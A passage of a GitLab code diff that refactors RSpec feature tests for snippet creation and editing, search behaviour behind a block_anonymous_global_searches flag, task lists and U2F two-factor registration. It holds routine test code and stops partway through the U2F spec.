- context 'when the git operation fails' do
- let(:error) { 'Error creating the snippet' }
+ context 'non-Vue application' do
+ let(:snippet_description_field) { 'project_snippet_description' }
+ let(:snippet_description_view_selector) { '.snippet-header .description' }
before do
- allow_next_instance_of(Snippets::CreateService) do |instance|
- allow(instance).to receive(:create_commit).and_raise(StandardError, error)
- end
+ stub_feature_flags(snippets_vue: false)
+ stub_feature_flags(snippets_edit_vue: false)
- fill_form
+ sign_in(user)
+ visit new_project_snippet_path(project)
+ end
+
+ it_behaves_like 'snippet creation'
+
+ it 'displays validation errors' do
+ fill_in snippet_title_field, with: title
click_button('Create snippet')
wait_for_requests
- end
- it 'renders the new page and displays the error' do
- expect(page).to have_content(error)
- expect(page).to have_content('New Snippet')
+ expect(page).to have_selector('#error_explanation')
end
end
end
diff --git a/spec/features/projects/snippets/user_updates_snippet_spec.rb b/spec/features/projects/snippets/user_updates_snippet_spec.rb
index a40113bd93e..193eaa9576a 100644
--- a/spec/features/projects/snippets/user_updates_snippet_spec.rb
+++ b/spec/features/projects/snippets/user_updates_snippet_spec.rb
@@ -3,57 +3,81 @@
require 'spec_helper'
RSpec.describe 'Projects > Snippets > User updates a snippet', :js do
+ include Spec::Support::Helpers::Features::SnippetSpecHelpers
+
let_it_be(:user) { create(:user) }
let_it_be(:project) { create(:project, namespace: user.namespace) }
let_it_be(:snippet, reload: true) { create(:project_snippet, :repository, project: project, author: user) }
- before do
- stub_feature_flags(snippets_vue: false)
- stub_feature_flags(snippets_edit_vue: false)
+ let(:snippet_title_field) { 'project_snippet_title' }
+ def bootstrap_snippet
project.add_maintainer(user)
sign_in(user)
- visit(project_snippet_path(project, snippet))
+ page.visit(edit_project_snippet_path(project, snippet))
- page.within('.detail-page-header') do
- first(:link, 'Edit').click
- end
wait_for_all_requests
end
- it 'displays the snippet blob path and content' do
- blob = snippet.blobs.first
+ shared_examples 'snippet update' do
+ it 'displays the snippet blob path and content' do
+ blob = snippet.blobs.first
- aggregate_failures do
- expect(page.find_field('project_snippet_file_name').value).to eq blob.path
- expect(page.find('.file-content')).to have_content(blob.data.strip)
- expect(page.find('.snippet-file-content', visible: false).value).to eq blob.data
+ aggregate_failures do
+ expect(snippet_get_first_blob_path).to eq blob.path
+ expect(snippet_get_first_blob_value).to have_content(blob.data.strip)
+ end
end
- end
- it 'updates a snippet' do
- fill_in('project_snippet_title', with: 'Snippet new title')
- click_button('Save')
+ it 'updates a snippet' do
+ fill_in('project_snippet_title', with: 'Snippet new title')
+ click_button('Save')
+
+ expect(page).to have_content('Snippet new title')
+ end
+
+ context 'when the git operation fails' do
+ before do
+ allow_next_instance_of(Snippets::UpdateService) do |instance|
+ allow(instance).to receive(:create_commit).and_raise(StandardError, 'Error Message')
+ end
+
+ fill_in(snippet_title_field, with: 'Snippet new title')
+ fill_in(snippet_blob_path_field, match: :first, with: 'new_file_name')
+
+ click_button('Save')
+ end
- expect(page).to have_content('Snippet new title')
+ it 'renders edit page and displays the error' do
+ expect(page.find('.flash-container')).to have_content('Error updating the snippet - Error Message')
+ expect(page).to have_content('Edit Snippet')
+ end
+ end
end
- context 'when the git operation fails' do
+ context 'Vue application' do
before do
- allow_next_instance_of(Snippets::UpdateService) do |instance|
- allow(instance).to receive(:create_commit).and_raise(StandardError, 'Error Message')
- end
+ bootstrap_snippet
+ end
- fill_in('project_snippet_title', with: 'Snippet new title')
- fill_in('project_snippet_file_name', with: 'new_file_name')
+ it_behaves_like 'snippet update' do
+ let(:snippet_blob_path_field) { 'snippet_file_name' }
+ let(:snippet_blob_content_selector) { '.file-content' }
+ end
+ end
- click_button('Save')
+ context 'non-Vue application' do
+ before do
+ stub_feature_flags(snippets_vue: false)
+ stub_feature_flags(snippets_edit_vue: false)
+
+ bootstrap_snippet
end
- it 'renders edit page and displays the error' do
- expect(page.find('.flash-container span').text).to eq('Error updating the snippet - Error Message')
- expect(page).to have_content('Edit Snippet')
+ it_behaves_like 'snippet update' do
+ let(:snippet_blob_path_field) { 'project_snippet_file_name' }
+ let(:snippet_blob_content_selector) { '.file-content' }
end
end
end
diff --git a/spec/features/projects/user_sees_sidebar_spec.rb b/spec/features/projects/user_sees_sidebar_spec.rb
index 1d443e0b339..50d7b353c46 100644
--- a/spec/features/projects/user_sees_sidebar_spec.rb
+++ b/spec/features/projects/user_sees_sidebar_spec.rb
@@ -6,10 +6,6 @@ RSpec.describe 'Projects > User sees sidebar' do
let(:user) { create(:user) }
let(:project) { create(:project, :private, public_builds: false, namespace: user.namespace) }
- before do
- stub_feature_flags(vue_issuables_list: false)
- end
-
# NOTE: See documented behaviour https://design.gitlab.com/regions/navigation#contextual-navigation
context 'on different viewports', :js do
include MobileHelpers
@@ -134,6 +130,7 @@ RSpec.describe 'Projects > User sees sidebar' do
context 'as guest' do
let(:guest) { create(:user) }
+ let!(:issue) { create(:issue, :opened, project: project, author: guest) }
before do
project.add_guest(guest)
diff --git a/spec/features/projects/view_on_env_spec.rb b/spec/features/projects/view_on_env_spec.rb
index 6f78f888c12..d220db01c24 100644
--- a/spec/features/projects/view_on_env_spec.rb
+++ b/spec/features/projects/view_on_env_spec.rb
@@ -9,8 +9,6 @@ RSpec.describe 'View on environment', :js do
let(:user) { project.creator }
before do
- stub_feature_flags(diffs_batch_load: false)
-
project.add_maintainer(user)
end
diff --git a/spec/features/projects/wiki/markdown_preview_spec.rb b/spec/features/projects/wiki/markdown_preview_spec.rb
index 8eba2c98595..8f2fb9e827c 100644
--- a/spec/features/projects/wiki/markdown_preview_spec.rb
+++ b/spec/features/projects/wiki/markdown_preview_spec.rb
@@ -8,6 +8,7 @@ RSpec.describe 'Projects > Wiki > User previews markdown changes', :js do
let(:wiki_page) { create(:wiki_page, wiki: project.wiki, title: 'home', content: '[some link](other-page)') }
let(:wiki_content) do
<<-HEREDOC
+Some text so key event for [ does not trigger an incorrect replacement.
[regular link](regular)
[relative link 1](../relative)
[relative link 2](./relative)
diff --git a/spec/features/projects_spec.rb b/spec/features/projects_spec.rb
index 3577498c3b4..970500985ae 100644
--- a/spec/features/projects_spec.rb
+++ b/spec/features/projects_spec.rb
@@ -159,7 +159,7 @@ RSpec.describe 'Project' do
describe 'remove forked relationship', :js do
let(:user) { create(:user) }
- let(:project) { fork_project(create(:project, :public), user, namespace_id: user.namespace) }
+ let(:project) { fork_project(create(:project, :public), user, namespace: user.namespace) }
before do
sign_in user
diff --git a/spec/features/search/user_searches_for_issues_spec.rb b/spec/features/search/user_searches_for_issues_spec.rb
index e9943347522..900ed35adea 100644
--- a/spec/features/search/user_searches_for_issues_spec.rb
+++ b/spec/features/search/user_searches_for_issues_spec.rb
@@ -6,7 +6,13 @@ RSpec.describe 'User searches for issues', :js do
let(:user) { create(:user) }
let(:project) { create(:project, namespace: user.namespace) }
let!(:issue1) { create(:issue, title: 'Foo', project: project) }
- let!(:issue2) { create(:issue, title: 'Bar', project: project) }
+ let!(:issue2) { create(:issue, :closed, :confidential, title: 'Bar', project: project) }
+
+ def search_for_issue(search)
+ fill_in('dashboard_search', with: search)
+ find('.btn-search').click
+ select_search_scope('Issues')
+ end
context 'when signed in' do
before do
@@ -19,9 +25,7 @@ RSpec.describe 'User searches for issues', :js do
include_examples 'top right search form'
it 'finds an issue' do
- fill_in('dashboard_search', with: issue1.title)
- find('.btn-search').click
- select_search_scope('Issues')
+ search_for_issue(issue1.title)
page.within('.results') do
expect(page).to have_link(issue1.title)
@@ -29,6 +33,40 @@ RSpec.describe 'User searches for issues', :js do
end
end
+ it 'hides confidential icon for non-confidential issues' do
+ search_for_issue(issue1.title)
+
+ page.within('.results') do
+ expect(page).not_to have_css('[data-testid="eye-slash-icon"]')
+ end
+ end
+
+ it 'shows confidential icon for confidential issues' do
+ search_for_issue(issue2.title)
+
+ page.within('.results') do
+ expect(page).to have_css('[data-testid="eye-slash-icon"]')
+ end
+ end
+
+ it 'shows correct badge for open issues' do
+ search_for_issue(issue1.title)
+
+ page.within('.results') do
+ expect(page).to have_css('.badge-success')
+ expect(page).not_to have_css('.badge-info')
+ end
+ end
+
+ it 'shows correct badge for closed issues' do
+ search_for_issue(issue2.title)
+
+ page.within('.results') do
+ expect(page).not_to have_css('.badge-success')
+ expect(page).to have_css('.badge-info')
+ end
+ end
+
context 'when on a project page' do
it 'finds an issue' do
find('.js-search-project-dropdown').click
@@ -37,9 +75,7 @@ RSpec.describe 'User searches for issues', :js do
click_link(project.full_name)
end
- fill_in('dashboard_search', with: issue1.title)
- find('.btn-search').click
- select_search_scope('Issues')
+ search_for_issue(issue1.title)
page.within('.results') do
expect(page).to have_link(issue1.title)
@@ -50,22 +86,33 @@ RSpec.describe 'User searches for issues', :js do
end
context 'when signed out' do
- let(:project) { create(:project, :public) }
+ context 'when block_anonymous_global_searches is disabled' do
+ let(:project) { create(:project, :public) }
- before do
- visit(search_path)
- end
+ before do
+ stub_feature_flags(block_anonymous_global_searches: false)
+ visit(search_path)
+ end
- include_examples 'top right search form'
+ include_examples 'top right search form'
- it 'finds an issue' do
- fill_in('dashboard_search', with: issue1.title)
- find('.btn-search').click
- select_search_scope('Issues')
+ it 'finds an issue' do
+ search_for_issue(issue1.title)
- page.within('.results') do
- expect(page).to have_link(issue1.title)
- expect(page).not_to have_link(issue2.title)
+ page.within('.results') do
+ expect(page).to have_link(issue1.title)
+ expect(page).not_to have_link(issue2.title)
+ end
+ end
+ end
+
+ context 'when block_anonymous_global_searches is enabled' do
+ before do
+ visit(search_path)
+ end
+
+ it 'is redirected to login page' do
+ expect(page).to have_content('You must be logged in to search across all of GitLab')
end
end
end
diff --git a/spec/features/search/user_searches_for_projects_spec.rb b/spec/features/search/user_searches_for_projects_spec.rb
index 7bb5a4da7d0..b64909dd42f 100644
--- a/spec/features/search/user_searches_for_projects_spec.rb
+++ b/spec/features/search/user_searches_for_projects_spec.rb
@@ -6,31 +6,44 @@ RSpec.describe 'User searches for projects' do
let!(:project) { create(:project, :public, name: 'Shop') }
context 'when signed out' do
- include_examples 'top right search form'
+ context 'when block_anonymous_global_searches is disabled' do
+ before do
+ stub_feature_flags(block_anonymous_global_searches: false)
+ end
- it 'finds a project' do
- visit(search_path)
+ include_examples 'top right search form'
- fill_in('dashboard_search', with: project.name[0..3])
- click_button('Search')
+ it 'finds a project' do
+ visit(search_path)
- expect(page).to have_link(project.name)
- end
+ fill_in('dashboard_search', with: project.name[0..3])
+ click_button('Search')
- it 'preserves the group being searched in' do
- visit(search_path(group_id: project.namespace.id))
+ expect(page).to have_link(project.name)
+ end
- submit_search('foo')
+ it 'preserves the group being searched in' do
+ visit(search_path(group_id: project.namespace.id))
- expect(find('#group_id', visible: false).value).to eq(project.namespace.id.to_s)
- end
+ submit_search('foo')
+
+ expect(find('#group_id', visible: false).value).to eq(project.namespace.id.to_s)
+ end
- it 'preserves the project being searched in' do
- visit(search_path(project_id: project.id))
+ it 'preserves the project being searched in' do
+ visit(search_path(project_id: project.id))
- submit_search('foo')
+ submit_search('foo')
+
+ expect(find('#project_id', visible: false).value).to eq(project.id.to_s)
+ end
+ end
- expect(find('#project_id', visible: false).value).to eq(project.id.to_s)
+ context 'when block_anonymous_global_searches is enabled' do
+ it 'is redirected to login page' do
+ visit(search_path)
+ expect(page).to have_content('You must be logged in to search across all of GitLab')
+ end
end
end
end
diff --git a/spec/features/search/user_uses_header_search_field_spec.rb b/spec/features/search/user_uses_header_search_field_spec.rb
index 37e83d1e888..cfda25b9ab4 100644
--- a/spec/features/search/user_uses_header_search_field_spec.rb
+++ b/spec/features/search/user_uses_header_search_field_spec.rb
@@ -28,7 +28,7 @@ RSpec.describe 'User uses header search field', :js do
context 'when using the keyboard shortcut' do
before do
- find('#search.js-autocomplete-disabled')
+ find('#search')
find('body').native.send_keys('s')
end
@@ -39,7 +39,7 @@ RSpec.describe 'User uses header search field', :js do
context 'when clicking the search field' do
before do
- page.find('#search.js-autocomplete-disabled').click
+ page.find('#search').click
end
it 'shows category search dropdown' do
diff --git a/spec/features/snippets/spam_snippets_spec.rb b/spec/features/snippets/spam_snippets_spec.rb
index e6a9467a3d7..1483ba4bf8f 100644
--- a/spec/features/snippets/spam_snippets_spec.rb
+++ b/spec/features/snippets/spam_snippets_spec.rb
@@ -11,8 +11,6 @@ RSpec.shared_examples_for 'snippet editor' do
before do
stub_feature_flags(allow_possible_spam: false)
- stub_feature_flags(snippets_vue: false)
- stub_feature_flags(snippets_edit_vue: false)
stub_env('IN_MEMORY_APPLICATION_SETTINGS', 'false')
Gitlab::CurrentSettings.update!(
@@ -125,5 +123,20 @@ end
RSpec.describe 'User creates snippet', :js do
let_it_be(:user) { create(:user) }
- it_behaves_like "snippet editor"
+ context 'Vue application' do
+ before do
+ stub_feature_flags(snippets_edit_vue: false)
+ end
+
+ it_behaves_like "snippet editor"
+ end
+
+ context 'non-Vue application' do
+ before do
+ stub_feature_flags(snippets_vue: false)
+ stub_feature_flags(snippets_edit_vue: false)
+ end
+
+ it_behaves_like "snippet editor"
+ end
end
diff --git a/spec/features/snippets/user_creates_snippet_spec.rb b/spec/features/snippets/user_creates_snippet_spec.rb
index f4c6536d6d3..eabca028b8c 100644
--- a/spec/features/snippets/user_creates_snippet_spec.rb
+++ b/spec/features/snippets/user_creates_snippet_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe 'User creates snippet', :js do
include DropzoneHelper
+ include Spec::Support::Helpers::Features::SnippetSpecHelpers
let_it_be(:user) { create(:user) }
@@ -12,149 +13,163 @@ RSpec.describe 'User creates snippet', :js do
let(:md_description) { 'My Snippet **Description**' }
let(:description) { 'My Snippet Description' }
let(:created_snippet) { Snippet.last }
-
- before do
- stub_feature_flags(snippets_vue: false)
- stub_feature_flags(snippets_edit_vue: false)
- sign_in(user)
- end
+ let(:snippet_title_field) { 'personal_snippet_title' }
def description_field
find('.js-description-input').find('input,textarea')
end
- def fill_form
- fill_in 'personal_snippet_title', with: title
-
- # Click placeholder first to expand full description field
- description_field.click
- fill_in 'personal_snippet_description', with: md_description
-
- page.within('.file-editor') do
- el = find('.inputarea')
- el.send_keys file_content
+ shared_examples 'snippet creation' do
+ def fill_form
+ snippet_fill_in_form(title: title, content: file_content, description: md_description)
end
- end
-
- it 'Authenticated user creates a snippet' do
- visit new_snippet_path
- fill_form
+ it 'Authenticated user creates a snippet' do
+ fill_form
- click_button('Create snippet')
- wait_for_requests
+ click_button('Create snippet')
+ wait_for_requests
- expect(page).to have_content(title)
- page.within('.snippet-header .description') do
- expect(page).to have_content(description)
- expect(page).to have_selector('strong')
+ expect(page).to have_content(title)
+ page.within(snippet_description_view_selector) do
+ expect(page).to have_content(description)
+ expect(page).to have_selector('strong')
+ end
+ expect(page).to have_content(file_content)
end
- expect(page).to have_content(file_content)
- end
- it 'previews a snippet with file' do
- visit new_snippet_path
+ it 'uploads a file when dragging into textarea' do
+ fill_form
+ dropzone_file Rails.root.join('spec', 'fixtures', 'banana_sample.gif')
- # Click placeholder first to expand full description field
- description_field.click
- fill_in 'personal_snippet_description', with: 'My Snippet'
- dropzone_file Rails.root.join('spec', 'fixtures', 'banana_sample.gif')
- find('.js-md-preview-button').click
+ expect(snippet_description_value).to have_content('banana_sample')
- page.within('#new_personal_snippet .md-preview-holder') do
- expect(page).to have_content('My Snippet')
+ click_button('Create snippet')
+ wait_for_requests
link = find('a.no-attachment-icon img.js-lazy-loaded[alt="banana_sample"]')['src']
- expect(link).to match(%r{/uploads/-/system/user/#{user.id}/\h{32}/banana_sample\.gif\z})
+ expect(link).to match(%r{/uploads/-/system/personal_snippet/#{Snippet.last.id}/\h{32}/banana_sample\.gif\z})
- # Adds a cache buster for checking if the image exists as Selenium is now handling the cached requests
- # not anymore as requests when they come straight from memory cache.
reqs = inspect_requests { visit("#{link}?ran=#{SecureRandom.base64(20)}") }
expect(reqs.first.status_code).to eq(200)
end
- end
- it 'uploads a file when dragging into textarea' do
- visit new_snippet_path
+ context 'when the git operation fails' do
+ let(:error) { 'Error creating the snippet' }
- fill_form
+ before do
+ allow_next_instance_of(Snippets::CreateService) do |instance|
+ allow(instance).to receive(:create_commit).and_raise(StandardError, error)
+ end
- dropzone_file Rails.root.join('spec', 'fixtures', 'banana_sample.gif')
+ fill_form
+ click_button('Create snippet')
+ wait_for_requests
+ end
+
+ it 'renders the new page and displays the error' do
+ expect(page).to have_content(error)
+ expect(page).to have_content('New Snippet')
- expect(page.find_field("personal_snippet_description").value).to have_content('banana_sample')
+ action = find('form.snippet-form')['action']
+ expect(action).to include("/snippets")
+ end
+ end
- click_button('Create snippet')
- wait_for_requests
+ context 'when snippets default visibility level is restricted' do
+ before do
+ stub_application_setting(restricted_visibility_levels: [Gitlab::VisibilityLevel::PRIVATE],
+ default_snippet_visibility: Gitlab::VisibilityLevel::PRIVATE)
+ end
- link = find('a.no-attachment-icon img.js-lazy-loaded[alt="banana_sample"]')['src']
- expect(link).to match(%r{/uploads/-/system/personal_snippet/#{Snippet.last.id}/\h{32}/banana_sample\.gif\z})
+ it 'creates a snippet using the lowest available visibility level as default' do
+ visit new_snippet_path
- reqs = inspect_requests { visit("#{link}?ran=#{SecureRandom.base64(20)}") }
- expect(reqs.first.status_code).to eq(200)
- end
+ fill_form
- context 'when the git operation fails' do
- let(:error) { 'Error creating the snippet' }
+ click_button('Create snippet')
+ wait_for_requests
- before do
- allow_next_instance_of(Snippets::CreateService) do |instance|
- allow(instance).to receive(:create_commit).and_raise(StandardError, error)
+ expect(find('.blob-content')).to have_content(file_content)
+ expect(Snippet.last.visibility_level).to eq(Gitlab::VisibilityLevel::INTERNAL)
end
+ end
- visit new_snippet_path
+ it_behaves_like 'personal snippet with references' do
+ let(:container) { snippet_description_view_selector }
+ let(:md_description) { references }
- fill_form
+ subject do
+ fill_form
+ click_button('Create snippet')
- click_button('Create snippet')
- wait_for_requests
+ wait_for_requests
+ end
end
+ end
+
+ context 'Vue application' do
+ let(:snippet_description_field) { 'snippet-description' }
+ let(:snippet_description_view_selector) { '.snippet-header .snippet-description' }
- it 'renders the new page and displays the error' do
- expect(page).to have_content(error)
- expect(page).to have_content('New Snippet')
+ before do
+ sign_in(user)
- action = find('form.snippet-form')['action']
- expect(action).to match(%r{/snippets\z})
+ visit new_snippet_path
end
- end
- it 'validation fails for the first time' do
- visit new_snippet_path
+ it_behaves_like 'snippet creation'
- fill_in 'personal_snippet_title', with: title
- click_button('Create snippet')
+ it 'validation fails for the first time' do
+ fill_in snippet_title_field, with: title
- expect(page).to have_selector('#error_explanation')
+ expect(page).not_to have_button('Create snippet')
+
+ snippet_fill_in_form(title: title, content: file_content)
+ expect(page).to have_button('Create snippet')
+ end
end
- context 'when snippets default visibility level is restricted' do
+ context 'non-Vue application' do
+ let(:snippet_description_field) { 'personal_snippet_description' }
+ let(:snippet_description_view_selector) { '.snippet-header .description' }
+
before do
- stub_application_setting(restricted_visibility_levels: [Gitlab::VisibilityLevel::PRIVATE],
- default_snippet_visibility: Gitlab::VisibilityLevel::PRIVATE)
- end
+ stub_feature_flags(snippets_vue: false)
+ stub_feature_flags(snippets_edit_vue: false)
+
+ sign_in(user)
- it 'creates a snippet using the lowest available visibility level as default' do
visit new_snippet_path
+ end
- fill_form
+ it_behaves_like 'snippet creation'
+ it 'validation fails for the first time' do
+ fill_in snippet_title_field, with: title
click_button('Create snippet')
- wait_for_requests
- expect(created_snippet.visibility_level).to eq(Gitlab::VisibilityLevel::INTERNAL)
+ expect(page).to have_selector('#error_explanation')
end
- end
- it_behaves_like 'personal snippet with references' do
- let(:container) { '.snippet-header .description' }
- let(:md_description) { references }
+ it 'previews a snippet with file' do
+ # Click placeholder first to expand full description field
+ description_field.click
+ fill_in snippet_description_field, with: 'My Snippet'
+ dropzone_file Rails.root.join('spec', 'fixtures', 'banana_sample.gif')
+ find('.js-md-preview-button').click
- subject do
- visit new_snippet_path
- fill_form
- click_button('Create snippet')
+ page.within('.md-preview-holder') do
+ expect(page).to have_content('My Snippet')
- wait_for_requests
+ link = find('a.no-attachment-icon img.js-lazy-loaded[alt="banana_sample"]')['src']
+ expect(link).to match(%r{/uploads/-/system/user/#{user.id}/\h{32}/banana_sample\.gif\z})
+
+ # Adds a cache buster for checking if the image exists as Selenium is now handling the cached requests
+ # not anymore as requests when they come straight from memory cache.
+ reqs = inspect_requests { visit("#{link}?ran=#{SecureRandom.base64(20)}") }
+ expect(reqs.first.status_code).to eq(200)
+ end
end
end
end
diff --git a/spec/features/snippets/user_edits_snippet_spec.rb b/spec/features/snippets/user_edits_snippet_spec.rb
index 5773904dedf..9a83eb58b63 100644
--- a/spec/features/snippets/user_edits_snippet_spec.rb
+++ b/spec/features/snippets/user_edits_snippet_spec.rb
@@ -4,87 +4,114 @@ require 'spec_helper'
RSpec.describe 'User edits snippet', :js do
include DropzoneHelper
+ include Spec::Support::Helpers::Features::SnippetSpecHelpers
let_it_be(:file_name) { 'test.rb' }
let_it_be(:content) { 'puts "test"' }
let_it_be(:user) { create(:user) }
let_it_be(:snippet, reload: true) { create(:personal_snippet, :repository, :public, file_name: file_name, content: content, author: user) }
- before do
- stub_feature_flags(snippets_vue: false)
- stub_feature_flags(snippets_edit_vue: false)
+ let(:snippet_title_field) { 'personal_snippet_title' }
- sign_in(user)
+ shared_examples 'snippet editing' do
+ it 'displays the snippet blob path and content' do
+ blob = snippet.blobs.first
- visit edit_snippet_path(snippet)
- wait_for_all_requests
- end
+ aggregate_failures do
+ expect(snippet_get_first_blob_path).to eq blob.path
+ expect(snippet_get_first_blob_value).to have_content(blob.data.strip)
+ end
+ end
- it 'displays the snippet blob path and content' do
- blob = snippet.blobs.first
+ it 'updates the snippet' do
+ fill_in snippet_title_field, with: 'New Snippet Title'
- aggregate_failures do
- expect(page.find_field('personal_snippet_file_name').value).to eq blob.path
- expect(page.find('.file-content')).to have_content(blob.data.strip)
- expect(page.find('.snippet-file-content', visible: false).value).to eq blob.data
+ click_button('Save changes')
+ wait_for_requests
+
+ expect(page).to have_content('New Snippet Title')
end
- end
- it 'updates the snippet' do
- fill_in 'personal_snippet_title', with: 'New Snippet Title'
+ it 'updates the snippet with files attached' do
+ dropzone_file Rails.root.join('spec', 'fixtures', 'banana_sample.gif')
+ expect(snippet_description_value).to have_content('banana_sample')
- click_button('Save changes')
- wait_for_requests
+ click_button('Save changes')
+ wait_for_requests
- expect(page).to have_content('New Snippet Title')
- end
+ link = find('a.no-attachment-icon img:not(.lazy)[alt="banana_sample"]')['src']
+ expect(link).to match(%r{/uploads/-/system/personal_snippet/#{snippet.id}/\h{32}/banana_sample\.gif\z})
+ end
- it 'updates the snippet with files attached' do
- dropzone_file Rails.root.join('spec', 'fixtures', 'banana_sample.gif')
- expect(page.find_field('personal_snippet_description').value).to have_content('banana_sample')
+ it 'updates the snippet to make it internal' do
+ choose 'Internal'
- click_button('Save changes')
- wait_for_requests
+ click_button 'Save changes'
+ wait_for_requests
- link = find('a.no-attachment-icon img:not(.lazy)[alt="banana_sample"]')['src']
- expect(link).to match(%r{/uploads/-/system/personal_snippet/#{snippet.id}/\h{32}/banana_sample\.gif\z})
- end
+ expect(page).to have_no_selector('[data-testid="lock-icon"]')
+ expect(page).to have_selector('[data-testid="shield-icon"]')
+ end
- it 'updates the snippet to make it internal' do
- choose 'Internal'
+ it 'updates the snippet to make it public' do
+ choose 'Public'
- click_button 'Save changes'
- wait_for_requests
+ click_button 'Save changes'
+ wait_for_requests
- expect(page).to have_no_selector('[data-testid="lock-icon"]')
- expect(page).to have_selector('[data-testid="shield-icon"]')
- end
+ expect(page).to have_no_selector('[data-testid="lock-icon"]')
+ expect(page).to have_selector('[data-testid="earth-icon"]')
+ end
- it 'updates the snippet to make it public' do
- choose 'Public'
+ context 'when the git operation fails' do
+ before do
+ allow_next_instance_of(Snippets::UpdateService) do |instance|
+ allow(instance).to receive(:create_commit).and_raise(StandardError, 'Error Message')
+ end
- click_button 'Save changes'
- wait_for_requests
+ fill_in snippet_title_field, with: 'New Snippet Title'
+ fill_in snippet_blob_path_field, with: 'new_file_name', match: :first
- expect(page).to have_no_selector('[data-testid="lock-icon"]')
- expect(page).to have_selector('[data-testid="earth-icon"]')
- end
+ click_button('Save changes')
+ end
- context 'when the git operation fails' do
- before do
- allow_next_instance_of(Snippets::UpdateService) do |instance|
- allow(instance).to receive(:create_commit).and_raise(StandardError, 'Error Message')
+ it 'renders edit page and displays the error' do
+ expect(page.find('.flash-container')).to have_content('Error updating the snippet - Error Message')
+ expect(page).to have_content('Edit Snippet')
end
+ end
+ end
- fill_in 'personal_snippet_title', with: 'New Snippet Title'
- fill_in 'personal_snippet_file_name', with: 'new_file_name'
+ context 'Vue application' do
+ it_behaves_like 'snippet editing' do
+ let(:snippet_blob_path_field) { 'snippet_file_name' }
+ let(:snippet_blob_content_selector) { '.file-content' }
+ let(:snippet_description_field) { 'snippet-description' }
- click_button('Save changes')
+ before do
+ sign_in(user)
+
+ visit edit_snippet_path(snippet)
+ wait_for_all_requests
+ end
end
+ end
+
+ context 'non-Vue application' do
+ it_behaves_like 'snippet editing' do
+ let(:snippet_blob_path_field) { 'personal_snippet_file_name' }
+ let(:snippet_blob_content_selector) { '.file-content' }
+ let(:snippet_description_field) { 'personal_snippet_description' }
- it 'renders edit page and displays the error' do
- expect(page.find('.flash-container span').text).to eq('Error updating the snippet - Error Message')
- expect(page).to have_content('Edit Snippet')
+ before do
+ stub_feature_flags(snippets_vue: false)
+ stub_feature_flags(snippets_edit_vue: false)
+
+ sign_in(user)
+
+ visit edit_snippet_path(snippet)
+ wait_for_all_requests
+ end
end
end
end
diff --git a/spec/features/static_site_editor_spec.rb b/spec/features/static_site_editor_spec.rb
index 9ae23b4bdec..b67e47b6ac4 100644
--- a/spec/features/static_site_editor_spec.rb
+++ b/spec/features/static_site_editor_spec.rb
@@ -13,7 +13,11 @@ RSpec.describe 'Static Site Editor' do
visit project_show_sse_path(project, 'master/README.md')
end
- it 'renders Static Site Editor page' do
- expect(page).to have_selector('#static-site-editor')
+ it 'renders Static Site Editor page with generated and file attributes' do
+ # assert generated config value is present
+ expect(page).to have_css('#static-site-editor[data-branch="master"]')
+
+ # assert file config value is present
+ expect(page).to have_css('#static-site-editor[data-static-site-generator="middleman"]')
end
end
diff --git a/spec/features/task_lists_spec.rb b/spec/features/task_lists_spec.rb
index fc3f8a94318..a9cfe794177 100644
--- a/spec/features/task_lists_spec.rb
+++ b/spec/features/task_lists_spec.rb
@@ -5,9 +5,9 @@ require 'spec_helper'
RSpec.describe 'Task Lists' do
include Warden::Test::Helpers
- let(:project) { create(:project, :public, :repository) }
- let(:user) { create(:user) }
- let(:user2) { create(:user) }
+ let_it_be(:project) { create(:project, :public, :repository) }
+ let_it_be(:user) { create(:user) }
+ let_it_be(:user2) { create(:user) }
let(:markdown) do
<<-MARKDOWN.strip_heredoc
@@ -72,12 +72,12 @@ RSpec.describe 'Task Lists' do
EOT
end
- before do
- Warden.test_mode!
-
+ before(:all) do
project.add_maintainer(user)
project.add_guest(user2)
+ end
+ before do
login_as(user)
end
diff --git a/spec/features/u2f_spec.rb b/spec/features/u2f_spec.rb
index 8dbedc0a7ee..5762a54a717 100644
--- a/spec/features/u2f_spec.rb
+++ b/spec/features/u2f_spec.rb
@@ -3,22 +3,14 @@
require 'spec_helper'
RSpec.describe 'Using U2F (Universal 2nd Factor) Devices for Authentication', :js do
- def manage_two_factor_authentication
- click_on 'Manage two-factor authentication'
- expect(page).to have_content("Set up new U2F device")
- wait_for_requests
- end
+ include Spec::Support::Helpers::Features::TwoFactorHelpers
- def register_u2f_device(u2f_device = nil, name: 'My device')
- u2f_device ||= FakeU2fDevice.new(page, name)
- u2f_device.respond_to_u2f_registration
- click_on 'Set up new U2F device'
- expect(page).to have_content('Your device was successfully set up')
- fill_in "Pick a name", with: name
- click_on 'Register U2F device'
- u2f_device
+ before do
+ stub_feature_flags(webauthn: false)
end
+ it_behaves_like 'hardware device for 2fa', 'U2F'
+
describe "registration" do
let(:user) { create(:user) }
@@ -27,31 +19,7 @@ RSpec.describe 'Using U2F (Universal 2nd Factor) Devices for Authentication', :j
user.update_attribute(:otp_required_for_login, true)
end
- describe 'when 2FA via OTP is disabled' do
- before do
- user.update_attribute(:otp_required_for_login, false)
- end
-
- it 'does not allow registering a new device' do
- visit profile_account_path
- click_on 'Enable two-factor authentication'
-
- expect(page).to have_button('Set up new U2F device', disabled: true)
- end
- end
-
describe 'when 2FA via OTP is enabled' do
- it 'allows registering a new device with a name' do
- visit profile_account_path
- manage_two_factor_authentication
- expect(page).to have_content("You've already enabled two-factor authentication using one time password authenticators")
-
- u2f_device = register_u2f_device
-
- expect(page).to have_content(u2f_device.name)
- expect(page).to have_content('Your U2F device was registered')
- end
-
it 'allows registering more than one device' do
visit profile_account_path
@@ -68,21 +36,6 @@ RSpec.describe 'Using U2F (Universal 2nd Factor) Devices for Authentication', :j
expect(page).to have_content(second_device.name)
expect(U2fRegistration.count).to eq(2)
end
-
- it 'allows deleting a device' do
- visit profile_account_path
- manage_two_factor_authentication
- expect(page).to have_content("You've already enabled two-factor authentication using one time password authenticators")
-
- first_u2f_device = register_u2f_device
- second_u2f_device = register_u2f_device(name: 'My other device')
-
- accept_confirm { click_on "Delete", match: :first }
-
- expect(page).to have_content('Successfully deleted')
- expect(page.body).not_to match(first_u2f_device.name)
- expect(page).to have_content(second_u2f_device.name)
- end
end
it 'allows the same device to be registered for multiple users' do
@@ -111,9 +64,9 @@ RSpec.describe 'Using U2F (Universal 2nd Factor) Devices for Authentication', :j
# Have the "u2f device" respond with bad data
page.execute_script("u2f.register = function(_,_,_,callback) { callback('bad response'); };")
- click_on 'Set up new U2F device'
+ click_on 'Set up new device'
expect(page).to have_content('Your device was successfully set up')
- click_on 'Register U2F device'
